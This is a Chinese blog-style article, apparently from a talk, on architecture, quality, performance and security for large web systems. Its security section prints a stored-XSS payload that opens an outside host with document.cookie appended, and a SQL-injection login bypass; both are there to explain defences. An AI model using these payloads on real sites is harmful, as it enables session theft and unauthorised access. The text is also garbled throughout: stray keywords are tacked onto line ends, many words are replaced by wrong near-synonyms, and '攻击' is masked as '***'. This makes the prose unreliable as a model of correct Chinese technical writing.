1、前言
php
这篇文章来源于个人一个 PPT,而这个 PPT 是源于一个朋友的一次邀请,朋友邀请我为一个公司作一堂大约 2 小时的技术讲座,我选定的方向是《如何开发一个大型系统》nginx
在这里我对大型系统的定义为:日均 PV 在千万级以上,而京东和淘宝这类则属于巨型系统了。sql
所以在本篇中讲述的都是基于一些开源免费的技术实现,至于那些经过 F5 硬件加速、DNS 来实现负载均衡、CDN 加速等须要花钱购买的技术或者服务则再也不本篇介绍范围之类。数据库
原本此篇是做为《开发人员学Linux》系列的终结篇最后出现的,可是考虑到在此过程当中我可能会因为时间和精力缘由没法所有完成或者因为关注点在别的方向而没法终结,因此提早把这篇先写了。编程
2、从两个系统提及
浏览器
2.1 某移动互联网公司服务器端架构图缓存
上图是某移动互联网公司的服务器端架构图,它支撑了国内外数百万客户端的访问请求,它有以下特色:安全
一、多层级集群,从Web服务器层、NoSQL层级数据库层都实现了集群,这样使得每一层的响应时间大大缩短,从而可以在单位时间内响应更多请求;服务器
二、NoSQL应用(Memcached),在NoSQL领域Memcached和Redis都有大量的用户群,在这个架构里使用的是Memcached。微信
三、数据库读写分离,当前大多数数据库服务器支持主从机制或订阅发布机制,这样一来就为读写分离创造了条件,减小了数据库竞争死锁出发条件,使响应时间大为缩短(非数据库集群状况下还能够考虑分库机制)。
四、负载均衡,Nginx实现Web服务器的负载均衡,Memcached自带负载均衡实现。(注:Nginx负载均衡在本系列应涉及,感兴趣请移步观看)。
2.2 某公司生产管理系统架构图
上图是为某公司的一个分散型系统作的架构设计,这家公司拥有多个跨市、跨省的生产片区,在各片区都有本身的生态车间,各片区与总公司之间经过数据链路链接。
这个系统的特色是全部的流水线上的产品都贴有惟一的条码,在生产线的某个操做位操做以前都会扫描贴在产品上的条码,系统会根据条码作一些检查工做,如:产品条码是否应被使用过(好比以前应发货给客户过)、产品是否完成了本道工序以前的所有必须完成工序,若是知足条件则记录当前操做工序名称、操做人、操做时间和操做结果等。
一件产品从上线到完成有数十道工序,而每个月下线的产品有少则数十万、多则数百万,一个月下来的数据量也是不小的。特别是在跨厂区网络不稳定的状况下如何保证对生产的影响最小。
本系统架构特色:
● 全部业务逻辑集中在服务器端,并以 Service 形式提供,这样便于业务逻辑调整客户端能及时获得最新更新;
● 部署 Service 的服务器采用集群部署,Nginx 实现调度;
● NoSQL 采用了 Redis,与 Memcached 相比,Redis 支持的数据类型更多,同时 Redis 带有持久化功能,能够将每一个条码对应的产品的最终信息存储在 Redis 当中,这样通常的查询工做(如条码是否被使用、产品当前状态)均可以在Redis中查询而不是数据库查询,这样大大减轻了数据库压力;
● 数据库采用了主从机制,实现了读写分离,也是为了提升响应速度;
● 使用了消息队列 MQ和 ETL,将一些能够异步处理的动做存放在 MQ 中,而后由 ETL 来执行(好比订单完成后以邮件形式通知相关人员);
● 实现了系统监控,经过 Zabbix 来对服务器、应用及网络关键设备实行 7×24 小时监控,重大异常及时邮件通知IT支持人员。
因为总部其它地方生产规模较小,因此生产分布未采用复杂架构,不过由于从客户处退回的不良产品都会在总部生产车间进行返修处理,所以总部生产系统须要保存分部生产车间数据,所以分部生产车间数据会同时写进分部生产数据库和分部 MQ 服务器,而后由总部 ETL 服务器读取写入到总部系统中。
在分部与总部网络中断的状况下分部系统仍可独立工做,直到网络恢复。
3、系统质量保证
3.1单元测试
单元测试是指对软件中的最小可测试单元进行检查和验证。一般而言,一个单元测试是用于判断某个特定条件(或者场景)下某个特定函数的行为,常见的开发语言都有对应的单元测试框架,常见的单元测试工具:
Junit/Nunit/xUnit.Net/Microsoft.VisualStudio.TestTool
关于单元测试的重要性和如何编写单元测试用例,在本篇就不详述了,网上有大量相关的文章。总之,越大型的系统、越重要的系统,单元测试的重要性越大。
针对一些须要外部依赖的单元测试,好比须要 Web 容器等,可使用 mock 测试,Java 测试人员可使用EasyMock这个测试框架,其网址是:http://easymock.org/
3.2 代码质量管理平台
对于多人参与的团队项目,虽然大多数状况下会有编码规范拉指导你们如何编写团队风格一致的编码,可是不能保证团队中每一个成员、尤为是后期加入的团队成员仍能按照编码规范来编写代码,所以须要有一个平台来保证,在这里推荐 SonarQube。
SonarQube 是一个开源平台,用于管理源代码的质量。Sonar 不仅是一个质量数据报告工具,更是代码质量管理平台。支持的语言包括:Java、PHP、C#、C、Cobol、PL/SQL、Flex 等。主要特色:
● 代码覆盖:经过单元测试,将会显示哪行代码被选中
● 改善编码规则
● 搜寻编码规则:按照名字,插件,激活级别和类别进行查询
● 项目搜寻:按照项目的名字进行查询
● 对比数据:比较同一张表中的任何测量的趋势
固然除了代码质量管理平台外,还有借助源代码管理系统,而且在每次提交代码前进行代码审核,这样每次代码的异动均可以追溯出来。
我管理和经历过的一些重要系统中采用过这样的作法:除了管理全部程序代码以外,还将系统中数据库中的表、视图、函数及存储过程的建立都使用源代码版本管理工具管控起来,并且粒度很小,每一个对象的建立都是一个 SQL 文件。
这种方式虽然操做起来有些琐碎,但对于代码的变迁追溯很是方便。
4、系统性能保证
4.1 缓存
所谓缓存就是将一些频繁使用、但改动相对不平凡的数据保存在内存中,每次更新这些数据的时候同时持久化到数据库或文件系统,并同时更新到缓存中,查询的时候尽量利用缓存。
缓存的实现方法:自定义实现或利用NoSQL。
自定义实现:自定义实现可利用SDK中提供的类,如Dictionary等。
优势:能够局部提升查询效率;
缺点:不能跨应用、跨服务器,仅限于单个应用;没有较好缓存生命周期管理策略。
NoSQL
Memcached
优势:能够跨应用、跨服务器,有灵活的生命周期管理策略;支持高并发;支持分布式。
缺点:不支持持久化,仅在内存存储,重启后数据丢失,须要“热加载”;仅支持Key/Value.
Redis
优势:能够跨应用、跨服务器,有灵活的生命周期管理策略;支持高并发;支持集群;支持持久化;支持Key/Value、List、Set、Hash数据结构;
以上几种方法都存在一个特色:须要经过Key去寻找对应的Value、List、Set或Hash。
除了Memcached和Redis以外,还出现了一些NoSQL数据库和支持NoSQL的数据库,前者如MongoDB,后者如PostgreSQL(>V9.4),下面是一个MongoDB与PostgreSQL的NoSQL特性的对比:
文档型 NoSQL 数据库的特色:
(1)不定义表结构
即便不定义表结构,也能够像定义了表结构同样使用,还省去了变动表结构的麻烦。
(2)可使用复杂的查询条件
跟键值存储不一样的是,面向文档的数据库能够经过复杂的查询条件来获取数据,虽然不具有事务处理和Join这些关系型数据库所具备的处理能力,但初次之外的其余处理基本上都能实现。
nosql 主要是提升效率,关系数据库能够保证数据安全;各有使用场景,通常的企业管理系统,没多少并发量不必使用 nosql,互联网项目或要求并发的 nosql 使用比较多,可是最终重要的数据仍是要保存到关系数据库。
这也是为何不少公司会同时使用 NoSQL 和关系型数据库的缘由。
4.2 异步
所谓异步就是调用一个方法后并不等该方法执行完毕后再继续执行后续的操做,而是调用完毕后立刻等待用户的其它指令。
打印机管理程序就是一个异步的例子,某我的可能有几个数百页的文档须要打印,能够在打开一个文档以后点击打印,而后继续打开另外一个文档继续点打印。尽管打印数百页文档须要较长时间,但后续的打印请求会在打印管理程序中排队,等第一个文档打印完成后再继续第二个文档的打印。
异步有两个层面:编程语言层面的异步和经过消息队列等机制实现的异步。
语法层面异步:像Java/C#等大多数语言都支持异步处理
消息队列实现异步
用消息队列实现异步只是消息队列的一个基本功能之一,消息队列还具备以下功能:
● 解耦
● 灵活性 & 峰值处理能力
● 可恢复性
● 送达保证
● 排序保证
● 缓冲
● 理解数据流
● 异步通讯
注:消息队列成为在进程或应用之间进行通讯的最好形式。消息队列队列是建立强大的分布式应用的关键。
经常使用消息队列有以下,可根据系统特色和运维支持团队的掌握程度选择:
● MSMQ
● ActiveMQ
● RabbitMQ
● ZeroMQ
● Kafka
● MetaMQ
● RocketMQ
4.3负载均衡
负载均衡是根据某种负载策略把请求分发到集群中的每一台服务器上,让整个服务器群来处理网站的请求。
常见负载均衡方案
● Windows负载均衡:NLB
● Linux负载均衡:LVS
● Web负载均衡:Nginx
● 硬件级负载均衡:F5
前面几种都是免费的解决方案,F5 做为一种硬件及解决方案在通常企业不多用到。我目前知道的仅有一家世界级饮料公司使用了 F5 做为负载均衡解决方案,由于这个方案听说至关昂贵。
4.4 读写分离
读写分离为了确保数据库产品的稳定性,不少数据库拥有双机热备功能。
也就是,第一台数据库服务器,是对外提供增删改业务的生产服务器;第二台数据库服务器,主要进行读的操做。
原理:
让主数据库(master)处理事务性增、改、删操做(INSERT、UPDATE、DELETE),而从数据库(slave)处理SELECT查询操做。
通常状况下咱们是在代码中进行处理,但目前也有很多商业中间件形式的读写分离中间件,能自动将读写数据库操做调度到不一样数据库上。
在大型系统中,有时候主、从数据库都是一个集群,这样能够保证响应速度更快,同时集群中单台服务器故障也不影响整个系统对外的响应。
5、系统安全性保证
5.1XSS***
防范XSS***
XSS***相似于SQL注入***,***以前,咱们先找到一个存在XSS漏洞的网站,XSS漏洞分为两种,一种是DOM Based XSS漏洞,另外一种是Stored XSS漏洞。理论上,全部可输入的地方没有对输入数据进行处理的话,都会存在XSS漏洞,漏洞的危害取决于***代码的威力,***代码也不局限于script。
DOM Based XSS
DOM Based XSS是一种基于网页DOM结构的***,该***特色是中招的人是少数人。
Stored XSS
Stored XSS是存储式XSS漏洞,因为其***代码已经存储到服务器上或者数据库中,因此受害者是不少人。假若有两个页面,一个负责提交内容,一个负责将提交的内容(论坛发帖、读帖就是这种形式的典型):
提交内容:<script>window.open(“www.b.com?param=”+document.cookie)</script>
页面内容:<%=request.getParameter("content")%>
这样用户在a站提交的东西,在显示的时候若是不加以处理就会打开b站页面将相关敏感内容显示出来。
针对XSS***的防范办法:
Html encode
特殊字符过滤:<,>
5.2 SQL注入
SQL Injection
所谓SQL注入式***,就是***者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。
在某些表单中,用户输入的内容直接用来构造(或者影响)动态SQL命令,或做为存储过程的输入参数,这类表单特别容易受到SQL注入式***。
例如咱们在登陆一个系统时,在软件底层按照以下方式查询数据:
登陆SQL语句: SELECT COUNT(*) FROM Login WHERE UserName='admin' AND Password='123456‘
SELECT COUNT(*) FROM Login
WHERE UserName='admin'–
Password='123'
针对SQL注入防范办法:
● 数据输入验证
● 特殊字符过滤:特殊字符过滤
● 参数化SQL语句(包括存储过程)
● 不使用sa级别帐户做为链接帐户或限制链接IP
防范办法:
● Html encode
● 特殊字符过滤:<,>
5.3 CSRF***
CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,一般缩写为CSRF或者XSRF,是一种对网站的恶意利用。
尽管听起来像跨站脚本(XSS),但它与XSS很是不一样,而且***方式几乎相左。XSS利用站点内的信任用户,而CSRF则经过假装来自受信任用户的请求来利用受信任的网站。
与XSS***相比,CSRF***每每不大流行(所以对其进行防范的资源也至关稀少)和难以防范,因此被认为比XSS更具危险性。
其核心策略是利用了浏览器Cookie或者服务器Session策略,盗取用户身份。
针对CSRF***防范办法:
● 表单Token
● 验证码
● Referer检查
● 关键操做身份确认
5.4 其它***
Error Code:即错误代码回显,许多Web服务器为调试方便默认显示详尽错误信息,如错误发生的上下文、服务器及应用信息等,容易被恶意利用。
系统或者框架漏洞:如IIS6.0如下版本存在“JPG漏洞”;Apache Struts2服务在开启动态方法调用任意方法漏洞(CVE-2016-3081);OpenSSL的heartbeat漏洞(CVE-2014-0160);Apache解析漏洞;Nginx(<V0.8.37)空字节代码执行漏洞;IIS7.0及Nginx(<V0.8.37)畸形解析漏洞;文件上传漏洞;路径遍历漏洞;
防范办法:
● 上传文件时对MIME进行检查,必要状况下对上传文件改名
● 及时关注安全网站及产品官方网站,发现漏洞及时打补丁
● 对Web Server运用的用户角色权限进行限制
● 使用漏洞扫描工具模拟***
下面是一些我见过的被***后的系统截图,以下图是CCTV音乐频道2008年被***的截图:
还有本人2008年先后搭建PHPWind运行的画面:
上图中是本人2006年先后搭建的一个论坛,有人利用系统漏洞注册了不少用户名为空的用户(实际上是身份遗失),,而后又利用这些帐户在论坛中大量发布广告、×××等违法违纪的帖子,由于使用了一些不可见字符进行注册的,在后台没法管理,最后只好在数据库中操做管理了。
6、开发相关的经验教训
6.1应用日志记录
之前团队运维着一个老系统,系统中没有日志功能,而系统的操做人员的计算机水平又较低,每次打电话都是说系统不能用或者是一些根本没法快速定位缘由的描述,每次接到求助后须要花费大量时间来分析定位缘由,后来将系统中增长了日志功能,而且在网络状态连通状况下可自动将错误日志以邮件形式发送到负责同事组成的用户组,自此之后处理这类问题的响应时间大大缩短了,双方都很满意。
如今已经有不少开源日志库,好比.NET的Log4Net,Java的Log4j,能够很轻松地配置启用日志功能。利用日志组件能够将信息记录到文件或数据库,便于发现问题时根据上下文环境发现问题,这一点在调试多线程时尤为重要。
日志级别:FATAL(致命错误)、ERROR(通常错误)、WARN(警告)、INFO(通常信息)、DEBUG(调试信息)。
注意:在调试环境中时日志级别尽可能低(warn/info),在生产环境中日志级别尽可能高(error),且对日志文件大小必定要进行控制。否则也会产生问题。
案例:某国内有名的管业集团公司的一个系统的重要模块发生问题,启用了日志功能以便经过日志组件快速将问题定位并修复。
在发布到生产环境时,运行一段时间以后发现程序运行效率至关低下,多位开发人员对模块代码进行性能分析未发现问题,你们发现一样的数据量和操做在生产环境和开发环境效率差巨大,无心中发现生产服务器上日志文件已超过5G!过后发现是因为疏忽未调高日志级别且未对日志进行控制,调整日志模式为按日记录,问题解除。
6.2历史记录追踪
代码管控:
尽量使用代码管控工具对源代码进行管控,如SVN/TFS/Git,若是有可能不但管控程序代码,还要管控数据库相关的SQL文件(包括初始化脚本及存储过程和使用ORM框架中的Mapping文件),作到系统的一切变更皆有记录。
代码审核:
任何人提交代码都必须本人本地编译、调试无误后,再有人review后方可提交,且针对bug修复的提交需注明所修复的bug信息。
Bug记录:
经过Bug记录系统记录整个bug的生命周期,包括发现、修复、关闭。TFS自己支持bug记录,开源系统中禅道也是一个不错的Bug记录工具。
七.总结
本篇主要是就系统从开发到最终部署运维过程当中经常使用的技术、框架和方法作了一个总结,固然以上经验总结来源本人从业以来所经历的项目中的经验和教训,可能还有更好更完美的方案,在此权当抛砖引玉罢了。
声明:本文首发于本人我的微信订阅号:zhoujinqiaoIT,其后会同时在本人的CSDN、51CTO及oschina三处博客发布,本人会负责在此四处答疑。